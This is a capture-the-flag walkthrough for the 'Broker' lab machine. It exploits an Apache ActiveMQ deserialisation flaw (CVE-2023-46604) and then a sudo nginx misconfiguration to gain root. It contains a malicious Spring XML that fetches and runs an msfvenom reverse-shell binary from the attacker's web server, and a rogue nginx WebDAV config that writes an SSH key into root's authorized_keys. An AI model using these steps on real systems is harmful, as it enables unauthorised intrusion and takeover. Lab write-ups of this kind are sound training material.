Broker

5th November 2023/ Document No D23.101.39

Prepared By: TheCyberGeek

Machine Author: TheCyberGeek

Difficulty: Easy

Classification: Official

Synopsis

Broker is an easy difficulty `Linux` machine hosting a version of `Apache ActiveMQ`. Enumerating the version of `Apache ActiveMQ` shows that it is vulnerable to `Unauthenticated Remote Code Execution`, which is leveraged to gain user access on the target. Post-exploitation enumeration reveals that the system has a `sudo` misconfiguration allowing the `activemq` user to execute `sudo /usr/sbin/nginx`, which is similar to the recent `Zimbra` disclosure and is leveraged to gain `root` access.

Skills Required

- Basic reconnaissance skills
- Linux Fundamentals

Skills Learned

- Apache ActiveMQ exploitation
- Nginx configuration exploitation

Enumeration

Nmap

We start by enumerating the target using `Nmap`.

```
ports=$(nmap -p- --min-rate=1000 -T4 10.129.230.87 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.230.87
```

```
nmap -p$ports -sC -sV 10.129.230.87

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
<SNIP>
61616/tcp open  apachemq   ActiveMQ OpenWire transport
| fingerprint-strings:
|   NULL:
|     ActiveMQ
<SNIP>
|_    5.15.15
```

The scan reveals `Apache ActiveMQ` version `5.15.15` running on TCP port `61616`, as well as SSH and NGINX on their respective default ports.

Apache ActiveMQ Exploitation

Searching for vulnerabilities in this version of `ActiveMQ` shows that it is vulnerable to a deserialisation vulnerability labelled CVE-2023-46604; more information can be found here.

On a high level, the vulnerability involves unsafe deserialisation in ActiveMQ's message handling. Essentially, when the system deserialises data, it could be tricked into initialising an unintended class if an attacker supplies crafted input.

- **Deserialisation Process**: ActiveMQ processes incoming data that should represent an error (`Throwable` class) during its communication protocol.
- **Security Gap**: Before the patch, there was no check to ensure that the data being deserialised was actually an error object. An attacker with control over the serialised data could force ActiveMQ to instantiate an arbitrary class with controlled data, leading to a range of malicious outcomes, including remote code execution.
- **Patch Functionality**: A security check was added to verify that any class to be deserialised and instantiated as an error must truly be an `Throwable`.

Foothold

Searching on `Google` for `CVE-2023-46606 exploit github` reveals this link which has a Proof of Concept code for how to exploit it. We download and extract the repository.

```
wget https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ/archive/refs/heads/main.zip
unzip main.zip
cd CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ-main/
```

As stated in the repository `README`, we generate an `msfvenom` payload to give us an `ELF` executable to upload and execute on the target.

```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.48 LPORT=4444 -f elf -o
test.elf
```

Then, we edit the `poc-linux.xml` file and change the IP address to our web server.

```
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <!-- The command below downloads the file and saves it as test.elf --
>
            <value>curl -s -o test.elf http://10.10.14.48:8001/test.elf; chmod +x
./test.elf; ./test.elf</value>
        </list>
        </constructor-arg>
    </bean>
</beans>
```

We start a `Python3 HTTP` server in the background and start a `Netcat` listener.

```
python3 -m http.server 8001 &
nc -lvvp 4444
```

Finally, we open a new terminal and execute the following command:

```
go run main.go -i 10.129.230.87 -p 61616 -u http://10.10.14.48:8001/poc-linux.xml
```

> We specify the target's IP address using the `-i` flag, the target port running ActiveMQ with the `-p` flag, and our web server hosting the payload with the `-u` flag.

```
go run main.go -i 10.129.230.87 -p 61616 -u http://10.10.14.48:8001/poc-linux.xml

     _         _   _           __  __  ___        _____   ____ _____
    / \   ___| |_(_)_   _____|  \/  |/ _ \      |  _ \ / ___| ____|
   / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | |   |  _|
  / ___ \ (__| |_| |\ V /  __/ |  | | |_| |_____|  _ <| |___| |___
 /_/   \_\___|\__|_| \_/ \___|_|  |_|\__\_\     |_| \_\\____|_____|

[*] Target: 10.129.230.87:61616
[*] XML URL: http://10.10.14.48:8001/poc-linux.xml

[*] Sending packet:
000000781f00000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746
578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401
0025687474703a2f2f31302e31302e31342e34383a383030312f706f632d6c696e75782e786d6c
```

Checking our listener we get a connection back and have successfully gained remote code execution on the target.

```
nc -lvvp 4444

listening on [any] 4444 ...
10.129.230.87: inverse host lookup failed: Unknown host
connect to [10.10.14.48] from (UNKNOWN) [10.129.230.87] 48426
script /dev/null -c bash
Script started, output log file is '/dev/null'.
activemq@broker:/opt/apache-activemq-5.15.15/bin$ id
id
uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)
activemq@broker:/opt/apache-activemq-5.15.15/bin$
```

The PoC Golang script leveraged the deserialisation vulnerability to instantiate the class `org.springframework.context.support.ClassPathXmlApplicationContext`, which allows the configuration of a `Spring` application via a (remote) XML file: in this case, our malicious XML file that sent a reverse shell to our listener.

The `user` flag can be found at `/home/activemq/user.txt`.

Privilege Escalation

Checking our `sudo` privileges reveals that we can load our own `nginx` configuration file.

```
sudo -l

Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/b
in\:/sbin\:/bin\:/snap/bin, use_pty

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx
```

There are a few different approaches one could take at this point to leverage this configuration to obtain `root` privileges, such as the method disclosed in this Zimbra article back in 2021, which involved writing a log file into a shared object library loaded by `sudo`.

However, we opt for a much simpler route: we will use the ngx_http_dav_module to write our public SSH key into the `root` user's `authorized_keys` file. To do so, we start by creating the malicious `NGINX` configuration file, which looks as follows:

```
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
    server {
        listen 1337;
        root /;
        autoindex on;

        dav_methods PUT;
    }
}
```

The key parts are the following:

- `user root`: The worker processes will be run by `root`, meaning when we eventually upload a file, it will also be owned by `root`.
- `root /`: The document root will be topmost directory of the filesystem.
- `dav_methods PUT`: We enable the `WebDAV` HTTP extension with the `PUT` method, which allows clients to upload files.

We save the settings in a file and configure `NGINX` to use it via the `-c` flag.

```
cat << EOF> /tmp/pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
```

```
events {
        worker_connections 768;
}
http {
    server {
        listen 1337;
        root /;
        autoindex on;

        dav_methods PUT;
    }
}
EOF
sudo nginx -c /tmp/pwn.conf
```

To verify that our malicious configuration is active, we check the open ports using `ss`:

```
activemq@broker:/tmp$ ss -tlpn

State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess

LISTEN 0      511          0.0.0.0:80         0.0.0.0:*

LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*

LISTEN 0      128          0.0.0.0:22         0.0.0.0:*

LISTEN 0      511          0.0.0.0:1337       0.0.0.0:*

<...SNIP...>
```

We see that port `1337` is in fact open, so we proceed with the final step, which is writing our public SSH key to `/root/.ssh/authorized_keys`.

We create the keypair as follows:

```
activemq@broker:/tmp$ ssh-keygen

Generating public/private rsa key pair.
Enter file in which to save the key (/home/activemq/.ssh/id_rsa): ./root
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./root
Your public key has been saved in ./root.pub
The key fingerprint is:
SHA256:ooCALOh8Ox5bXucm2zutWwSXzRmSEl8h9YNzAWr3i6E activemq@broker
The key's randomart image is:
+---[RSA 3072]----+
|         ..oo*o. |
|o        ...O = .|
|oo .     ..* B + |
|+o. .     + . + .|
|+ o+ ...S. . . . |
| ...*...o . . o .|
```

```
|   o.. . o.E . . |
|        =...     |
|       . ==      |
+----[SHA256]-----+
```

The private key is stored in the file called `root`, and the public key is found in `root.pub`.

Finally, we use `CURL` to send the `PUT` request that will write the file. Having set the document root to `/`, we specify the full path `/root/.ssh/authorized_keys` and use the `-d` flag to set the contents of the written file to our public key.

```
curl -X PUT localhost:1337/root/.ssh/authorized_keys -d "$(cat root.pub)"
```

The request goes through without errors. We can now `ssh` into the machine as the `root` user:

```
activemq@broker:/tmp$ ssh -i root root@localhost

Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
<...SNIP...>

Last login: Thu Nov  9 09:08:52 2023 from 10.10.14.40
root@broker:~# id
uid=0(root) gid=0(root) groups=0(root)
```

The `root` flag can be found at `/root/root.txt`.